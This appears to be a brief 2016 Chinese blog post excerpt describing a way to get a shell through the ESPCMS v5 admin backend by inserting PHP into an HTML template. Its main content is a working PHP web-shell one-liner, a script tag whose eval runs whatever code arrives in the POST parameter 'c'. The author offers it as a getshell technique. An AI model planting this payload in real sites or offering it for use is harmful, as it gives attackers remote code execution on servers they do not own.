2016年4月9日
HTML模板插入PHP一句话
摘要： 今天在espcms v5后台getshell时发现，可以在模板中插入如下代码，成功执行PHP。 <script language="php">eval($_POST[c])</script> 阅读全文
posted @ 2016-04-09 15:05 小生观察室 阅读(1017) 评论(0) 推荐(0) 编辑